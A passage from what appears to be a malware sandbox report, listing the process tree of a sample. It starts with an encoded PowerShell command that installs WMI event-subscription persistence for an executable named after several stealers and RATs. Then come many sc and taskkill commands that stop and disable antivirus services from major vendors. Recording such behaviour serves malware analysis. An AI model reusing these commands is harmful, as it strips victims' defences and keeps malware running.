GwAdABlAHIAVABvAEMAbwBuAHMAdQBtAGUAcgBCAGkAbgBkAGkAbgBnACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBGAGkAbAB0AGUAcgAgAC0AbABpAGsAZQAgACIAKgAkAG4AYQBtAGUAKgAiAH0AIAB8ACAAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAA7ACQAZgA9AFMAZQB0AC0AVwBtAGkASQBuAHMAdABhAG4AYwBlACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEUAdgBlAG4AdABGAGkAbAB0AGUAcgAgAC0AQQByAGcAdQBtAGUAbgB0AHMAIABAAHsATgBhAG0AZQA9ACQAbgBhAG0AZQA7AEUAdgBlAG4AdABOAGEAbQBlAHMAcABhAGMAZQA9ACcAcgBvAG8AdABcAGMAaQBtAHYAMgAnADsAUQB1AGUAcgB5AEwAYQBuAGcAdQBhAGcAZQA9ACcAVwBRAEwAJwA7AFEAdQBlAHIAeQA9ACIAUwBFAEwARQBDAFQAIAAqACAARgBSAE8ATQAgAF8AXwBJAG4AcwB0AGEAbgBjAGUATQBvAGQAaQBmAGkAYwBhAHQAaQBvAG4ARQB2AGUAbgB0ACAAVwBJAFQASABJAE4AIAAxADIAMAAgAFcASABFAFIARQAgAFQAYQByAGcAZQB0AEkAbgBzAHQAYQBuAGMAZQAgAEkAUwBBACAAJwBXAGkAbgAzADIAXwBQAGUAcgBmAEYAbwByAG0AYQB0AHQAZQBkAEQAYQB0AGEAXwBQAGUAcgBmAE8AUwBfAFMAeQBzAHQAZQBtACcAIgB9ADsAJABjAD0AUwBlAHQALQBXAG0AaQBJAG4AcwB0AGEAbgBjAGUAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAHMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABDAG8AbQBtAGEAbgBkAEwAaQBuAGUARQB2AGUAbgB0AEMAbwBuAHMAdQBtAGUAcgAgAC0AQQByAGcAdQBtAGUAbgB0AHMAIABAAHsATgBhAG0AZQA9ACQAbgBhAG0AZQA7AEMAbwBtAG0AYQBuAGQATABpAG4AZQBUAGUAbQBwAGwAYQB0AGUAPQAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAyADAAMgA2AC0AMAA5AC0AMwAwAF8ANwBjADMAZQBhAGUAYQBiADMAYQBlAGYAYwAyAGIAYQA3ADEAOQBhADYAMgBkAGEAMQBiADUAMgA3ADIANwA3AF8AZwBsAGEAcwBzAHcAbwByAG0AXwBpAGMAZQBkAGkAZABfAGwAdQBjAGEALQBzAHQAZQBhAGwAZQByAF8AbgBqAHIAYQB0AF8AcwB0AGUAYQBsAGMALgBlAHgAZQAiACcAfQA7AFMAZQB0AC0AVwBtAGkASQBuAHMAdABhAG4AYwBlACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEYAaQBsAHQAZQByAFQAbwBDAG8AbgBzAHUAbQBlAHIAQgBpAG4AZABpAG4AZwAgAC0AQQByAGcAdQBtAGUAbgB0AHMAIABAAHsARgBpAGwAdABlAHIAPQAkAGYAOwBDAG8AbgBzAHUAbQBlAHIAPQAkAGMAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious behavior: EnumeratesProcesses
  PID:2892
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos AutoUpdate Service" >nul 2>&1
  2⤵
  PID:1960
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2540
- - C:\Windows\system32\sc.exe
    sc stop "Sophos AutoUpdate Service"
    3⤵
    PID:2720
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avast! Firewall" >nul 2>&1
  2⤵
  PID:1240
- - C:\Windows\system32\sc.exe
    sc stop "avast! Firewall"
    3⤵
    - Launches sc.exe
    PID:2748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avscan.exe >nul 2>&1
  2⤵
  PID:5912
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avscan.exe
    3⤵
    PID:4792
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos AutoUpdate Service" start=disabled >nul 2>&1
  2⤵
  PID:3864
- - C:\Windows\system32\sc.exe
    sc config "Sophos AutoUpdate Service" start=disabled
    3⤵
    PID:1584
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avast! Firewall" start=disabled >nul 2>&1
  2⤵
  PID:3756
- - C:\Windows\system32\sc.exe
    sc config "avast! Firewall" start=disabled
    3⤵
    - Launches sc.exe
    PID:4832
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM wsc_proxy.exe >nul 2>&1
  2⤵
  PID:2760
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM wsc_proxy.exe
    3⤵
    PID:4248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Sophos MCS Agent" >nul 2>&1
  2⤵
  PID:1484
- - C:\Windows\system32\sc.exe
    sc stop "Sophos MCS Agent"
    3⤵
    PID:1336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "aswbIDSAgent" >nul 2>&1
  2⤵
  PID:6136
- - C:\Windows\system32\sc.exe
    sc stop "aswbIDSAgent"
    3⤵
    PID:3252
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Sophos MCS Agent" start=disabled >nul 2>&1
  2⤵
  PID:4128
- - C:\Windows\system32\sc.exe
    sc config "Sophos MCS Agent" start=disabled
    3⤵
    PID:2460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "aswbIDSAgent" start=disabled >nul 2>&1
  2⤵
  PID:1996
- - C:\Windows\system32\sc.exe
    sc config "aswbIDSAgent" start=disabled
    3⤵
    - Launches sc.exe
    PID:4684
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM overseer.exe >nul 2>&1
  2⤵
  PID:4688
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM overseer.exe
    3⤵
    - Kills process with taskkill
    PID:5824
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mcshield" >nul 2>&1
  2⤵
  PID:1852
- - C:\Windows\system32\sc.exe
    sc stop "mcshield"
    3⤵
    PID:4480
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AVGSvc" >nul 2>&1
  2⤵
  PID:1264
- - C:\Windows\system32\sc.exe
    sc stop "AVGSvc"
    3⤵
    - Launches sc.exe
    PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM NortonSecurity.exe >nul 2>&1
  2⤵
  PID:4572
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM NortonSecurity.exe
    3⤵
    - Kills process with taskkill
    PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mcshield" start=disabled >nul 2>&1
  2⤵
  PID:1472
- - C:\Windows\system32\sc.exe
    sc config "mcshield" start=disabled
    3⤵
    PID:5024
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AVGSvc" start=disabled >nul 2>&1
  2⤵
  PID:4664
- - C:\Windows\system32\sc.exe
    sc config "AVGSvc" start=disabled
    3⤵
    PID:1344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mfemms" >nul 2>&1
  2⤵
  PID:2720
- - C:\Windows\system32\sc.exe
    sc stop "mfemms"
    3⤵
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ns.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2180
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ns.exe
    3⤵
    PID:4344
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "avgwd" >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:6056
- - C:\Windows\system32\sc.exe
    sc stop "avgwd"
    3⤵
    PID:2508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mfemms" start=disabled >nul 2>&1
  2⤵
  PID:5252
- - C:\Windows\system32\sc.exe
    sc config "mfemms" start=disabled
    3⤵
    PID:5932
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "avgwd" start=disabled >nul 2>&1
  2⤵
  PID:4112
- - C:\Windows\system32\sc.exe
    sc config "avgwd" start=disabled
    3⤵
    PID:2276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ccSvcHst.exe >nul 2>&1
  2⤵
  PID:5084
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ccSvcHst.exe
    3⤵
    PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "mfevtp" >nul 2>&1
  2⤵
  PID:2656
- - C:\Windows\system32\sc.exe
    sc stop "mfevtp"
    3⤵
    PID:3112
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "NortonSecurity" >nul 2>&1
  2⤵
  PID:2772
- - C:\Windows\system32\sc.exe
    sc stop "NortonSecurity"
    3⤵
    PID:5200
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "mfevtp" start=disabled >nul 2>&1
  2⤵
  PID:1132
- - C:\Windows\system32\sc.exe
    sc config "mfevtp" start=disabled
    3⤵
    PID:3188
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM navapsvc.exe >nul 2>&1
  2⤵
  PID:3308
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM navapsvc.exe
    3⤵
    PID:3748
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "NortonSecurity" start=disabled >nul 2>&1
  2⤵
  PID:2968
- - C:\Windows\system32\sc.exe
    sc config "NortonSecurity" start=disabled
    3⤵
    - Launches sc.exe
    PID:4632
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "McAfeeFramework" >nul 2>&1
  2⤵
  PID:6072
- - C:\Windows\system32\sc.exe
    sc stop "McAfeeFramework"
    3⤵
    - Launches sc.exe
    PID:4452
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "Norton AntiVirus" >nul 2>&1
  2⤵
  PID:4192
- - C:\Windows\system32\sc.exe
    sc stop "Norton AntiVirus"
    3⤵
    PID:2124
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avp.exe >nul 2>&1
  2⤵
  PID:5712
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avp.exe
    3⤵
    PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "McAfeeFramework" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2928
- - C:\Windows\system32\sc.exe
    sc config "McAfeeFramework" start=disabled
    3⤵
    PID:256
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "Norton AntiVirus" start=disabled >nul 2>&1
  2⤵
  PID:3124
- - C:\Windows\system32\sc.exe
    sc config "Norton AntiVirus" start=disabled
    3⤵
    PID:3564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "FSGKHS" >nul 2>&1
  2⤵
  PID:5348
- - C:\Windows\system32\sc.exe
    sc stop "FSGKHS"
    3⤵
    PID:2276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "navapsvc" >nul 2>&1
  2⤵
  PID:1584
- - C:\Windows\system32\sc.exe
    sc stop "navapsvc"
    3⤵
    PID:2668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM avpui.exe >nul 2>&1
  2⤵
  PID:5972
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM avpui.exe
    3⤵
    PID:2212
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "navapsvc" start=disabled >nul 2>&1
  2⤵
  PID:4912
- - C:\Windows\system32\sc.exe
    sc config "navapsvc" start=disabled
    3⤵
    PID:5040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "FSGKHS" start=disabled >nul 2>&1
  2⤵
  PID:1116
- - C:\Windows\system32\sc.exe
    sc config "FSGKHS" start=disabled
    3⤵
    - Launches sc.exe
    PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM klnagent.exe >nul 2>&1
  2⤵
  PID:5188
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM klnagent.exe
    3⤵
    PID:1704
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "AVP" >nul 2>&1
  2⤵
  PID:3188
- - C:\Windows\system32\sc.exe
    sc stop "AVP"
    3⤵
    - Launches sc.exe
    PID:3340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "F-Secure Gatekeeper" >nul 2>&1
  2⤵
  PID:3496
- - C:\Windows\system32\sc.exe
    sc stop "F-Secure Gatekeeper"
    3⤵
    PID:3516
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "AVP" start=disabled >nul 2>&1
  2⤵
  PID:1324
- - C:\Windows\system32\sc.exe
    sc config "AVP" start=disabled
    3⤵
    PID:4288
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "F-Secure Gatekeeper" start=disabled >nul 2>&1
  2⤵
  PID:4488
- - C:\Windows\system32\sc.exe
    sc config "F-Secure Gatekeeper" start=disabled
    3⤵
    PID:764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdagent.exe >nul 2>&1
  2⤵
  PID:2456
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdagent.exe
    3⤵
    - Kills process with taskkill
    PID:3564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "kavfsslp" >nul 2>&1
  2⤵
  PID:1900
- - C:\Windows\system32\sc.exe
    sc stop "kavfsslp"
    3⤵
    PID:1096
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "kavfsslp" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:2508
- - C:\Windows\system32\sc.exe
    sc config "kavfsslp" start=disabled
    3⤵
    - Launches sc.exe
    PID:2640
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdservicehost.exe >nul 2>&1
  2⤵
  PID:6068
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdservicehost.exe
    3⤵
    PID:4248
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "KAVFSGT" >nul 2>&1
  2⤵
  PID:1792
- - C:\Windows\system32\sc.exe
    sc stop "KAVFSGT"
    3⤵
    PID:2164
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "KAVFSGT" start=disabled >nul 2>&1
  2⤵
  PID:4196
- - C:\Windows\system32\sc.exe
    sc config "KAVFSGT" start=disabled
    3⤵
    - Launches sc.exe
    PID:4656
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM bdredline.exe >nul 2>&1
  2⤵
  PID:2392
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM bdredline.exe
    3⤵
    - Kills process with taskkill
    PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "KAVFS" >nul 2>&1
  2⤵
  PID:1908
- - C:\Windows\system32\sc.exe
    sc stop "KAVFS"
    3⤵
    - Launches sc.exe
    PID:4776
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "KAVFS" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5824
- - C:\Windows\system32\sc.exe
    sc config "KAVFS" start=disabled
    3⤵
    PID:3940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM vsserv.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5884
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM vsserv.exe
    3⤵
    PID:904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "klnagent" >nul 2>&1
  2⤵
  PID:4684
- - C:\Windows\system32\sc.exe
    sc stop "klnagent"
    3⤵
    PID:764
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "klnagent" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4852
- - C:\Windows\system32\sc.exe
    sc config "klnagent" start=disabled
    3⤵
    PID:1496
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM ekrn.exe >nul 2>&1
  2⤵
  PID:1096
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM ekrn.exe
    3⤵
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "VSSERV" >nul 2>&1
  2⤵
  PID:4868
- - C:\Windows\system32\sc.exe
    sc stop "VSSERV"
    3⤵
    PID:3716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "VSSERV" start=disabled >nul 2>&1
  2⤵
  PID:3668
- - C:\Windows\system32\sc.exe
    sc config "VSSERV" start=disabled
    3⤵
    - Launches sc.exe
    PID:3508
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM egui.exe >nul 2>&1
  2⤵
  PID:2164
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM egui.exe
    3⤵
    PID:3844
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "bdredline" >nul 2>&1
  2⤵
  PID:5524
- - C:\Windows\system32\sc.exe
    sc stop "bdredline"
    3⤵
    PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "bdredline" start=disabled >nul 2>&1
  2⤵
  PID:1272
- - C:\Windows\system32\sc.exe
    sc config "bdredline" start=disabled
    3⤵
    - Launches sc.exe
    PID:3340
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM eguiProxy.exe >nul 2>&1
  2⤵
  PID:2468
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM eguiProxy.exe
    3⤵
    PID:5444
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "BDAuxSrv" >nul 2>&1
  2⤵
  PID:4840
- - C:\Windows\system32\sc.exe
    sc stop "BDAuxSrv"
    3⤵
    PID:1780
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM coreServiceShell.exe >nul 2>&1
  2⤵
  PID:3840
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM coreServiceShell.exe
    3⤵
    PID:5168
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "BDAuxSrv" start=disabled >nul 2>&1
  2⤵
  PID:764
- - C:\Windows\system32\sc.exe
    sc config "BDAuxSrv" start=disabled
    3⤵
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPSecurityService" >nul 2>&1
  2⤵
  PID:4792
- - C:\Windows\system32\sc.exe
    sc stop "EPSecurityService"
    3⤵
    PID:4528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM PccNTMon.exe >nul 2>&1
  2⤵
  PID:2276
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM PccNTMon.exe
    3⤵
    - Kills process with taskkill
    PID:5276
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPSecurityService" start=disabled >nul 2>&1
  2⤵
  PID:2640
- - C:\Windows\system32\sc.exe
    sc config "EPSecurityService" start=disabled
    3⤵
    PID:5924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPProtectedService" >nul 2>&1
  2⤵
  PID:3228
- - C:\Windows\system32\sc.exe
    sc stop "EPProtectedService"
    3⤵
    - Launches sc.exe
    PID:6128
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM TMBMSRV.exe >nul 2>&1
  2⤵
  PID:5040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5200
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM TMBMSRV.exe
    3⤵
    PID:4668
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPProtectedService" start=disabled >nul 2>&1
  2⤵
  PID:5888
- - C:\Windows\system32\sc.exe
    sc config "EPProtectedService" start=disabled
    3⤵
    PID:2460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPIntegrationService" >nul 2>&1
  2⤵
  PID:2304
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4444
- - C:\Windows\system32\sc.exe
    sc stop "EPIntegrationService"
    3⤵
    PID:1624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SavService.exe >nul 2>&1
  2⤵
  PID:1172
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1948
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SavService.exe
    3⤵
    PID:4080
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPIntegrationService" start=disabled >nul 2>&1
  2⤵
  PID:3624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4288
- - C:\Windows\system32\sc.exe
    sc config "EPIntegrationService" start=disabled
    3⤵
    - Launches sc.exe
    PID:2924
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SAVAdminService.exe >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:4528
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SAVAdminService.exe
    3⤵
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EPUpdateService" >nul 2>&1
  2⤵
  PID:2452
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2212
- - C:\Windows\system32\sc.exe
    sc stop "EPUpdateService"
    3⤵
    PID:4388
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EPUpdateService" start=disabled >nul 2>&1
  2⤵
  PID:3240
- - C:\Windows\system32\sc.exe
    sc config "EPUpdateService" start=disabled
    3⤵
    - Launches sc.exe
    PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM SophosUI.exe >nul 2>&1
  2⤵
  PID:3192
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4372
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM SophosUI.exe
    3⤵
    PID:3816
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ekrn" >nul 2>&1
  2⤵
  PID:5272
- - C:\Windows\system32\sc.exe
    sc stop "ekrn"
    3⤵
    - Launches sc.exe
    PID:5588
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ekrn" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:3844
- - C:\Windows\system32\sc.exe
    sc config "ekrn" start=disabled
    3⤵
    PID:4260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mcshield.exe >nul 2>&1
  2⤵
  PID:4296
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mcshield.exe
    3⤵
    - Kills process with taskkill
    PID:4120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "EHttpSrv" >nul 2>&1
  2⤵
  PID:4632
- - C:\Windows\system32\sc.exe
    sc stop "EHttpSrv"
    3⤵
    - Launches sc.exe
    PID:6020
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "EHttpSrv" start=disabled >nul 2>&1
  2⤵
  PID:4860
- - C:\Windows\system32\sc.exe
    sc config "EHttpSrv" start=disabled
    3⤵
    PID:3856
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfemms.exe >nul 2>&1
  2⤵
  PID:804
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfemms.exe
    3⤵
    - Kills process with taskkill
    PID:4732
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ESHASRV" >nul 2>&1
  2⤵
  PID:4388
- - C:\Windows\system32\sc.exe
    sc stop "ESHASRV"
    3⤵
    - Launches sc.exe
    PID:2620
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ESHASRV" start=disabled >nul 2>&1
  2⤵
  PID:4880
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4616
- - C:\Windows\system32\sc.exe
    sc config "ESHASRV" start=disabled
    3⤵
    PID:3716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM mfevtps.exe >nul 2>&1
  2⤵
  PID:264
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM mfevtps.exe
    3⤵
    PID:2460
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "ntrtscan" >nul 2>&1
  2⤵
  PID:5116
- - C:\Windows\system32\sc.exe
    sc stop "ntrtscan"
    3⤵
    PID:4476
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "ntrtscan" start=disabled >nul 2>&1
  2⤵
  PID:1164
- - C:\Windows\system32\sc.exe
    sc config "ntrtscan" start=disabled
    3⤵
    - Launches sc.exe
    PID:5304
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM McAPExe.exe >nul 2>&1
  2⤵
  PID:2680
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM McAPExe.exe
    3⤵
    PID:2544
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "tmlisten" >nul 2>&1
  2⤵
  PID:3516
- - C:\Windows\system32\sc.exe
    sc stop "tmlisten"
    3⤵
    - Launches sc.exe
    PID:5108
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "tmlisten" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5964
- - C:\Windows\system32\sc.exe
    sc config "tmlisten" start=disabled
    3⤵
    PID:4384
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fshoster32.exe >nul 2>&1
  2⤵
  PID:2608
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fshoster32.exe
    3⤵
    - Kills process with taskkill
    PID:3948
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "TmCCSF" >nul 2>&1
  2⤵
  PID:2752
- - C:\Windows\system32\sc.exe
    sc stop "TmCCSF"
    3⤵
    PID:120
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "TmCCSF" start=disabled >nul 2>&1
  2⤵
  PID:1168
- - C:\Windows\system32\sc.exe
    sc config "TmCCSF" start=disabled
    3⤵
    PID:5976
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c taskkill /F /IM fsgk32.exe >nul 2>&1
  2⤵
  PID:5044
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM fsgk32.exe
    3⤵
    PID:3032
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "TMBMSRV" >nul 2>&1
  2⤵
  PID:4552
- - C:\Windows\system32\sc.exe
    sc stop "TMBMSRV"
    3⤵
    - Launches sc.exe
    PID:2624
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "TMBMSRV" start=disabled >nul 2>&1
  2⤵
  PID:940
- - C:\Windows\system32\sc.exe
    sc config "TMBMSRV" start=disabled
    3⤵
    PID:4084
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "SAVService" >nul 2>&1
  2⤵
  PID:2544
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:3696
- - C:\Windows\system32\sc.exe
    sc stop "SAVService"
    3⤵
    PID:3904
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "SAVService" start=disabled >nul 2>&1
  2⤵
  PID:2004
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4452
- - C:\Windows\system32\sc.exe
    sc config "SAVService" start=disabled
    3⤵
    PID:4680
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc stop "SAVAdminService" >nul 2>&1
  2⤵
  PID:3760
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4480
- - C:\Windows\system32\sc.exe
    sc stop "SAVAdminService"
    3⤵
    - Launches sc.exe
    PID:2940
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config "SAVAdminService" start=disabled >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  PID:5984
- - C:\Windows\system32\sc.exe
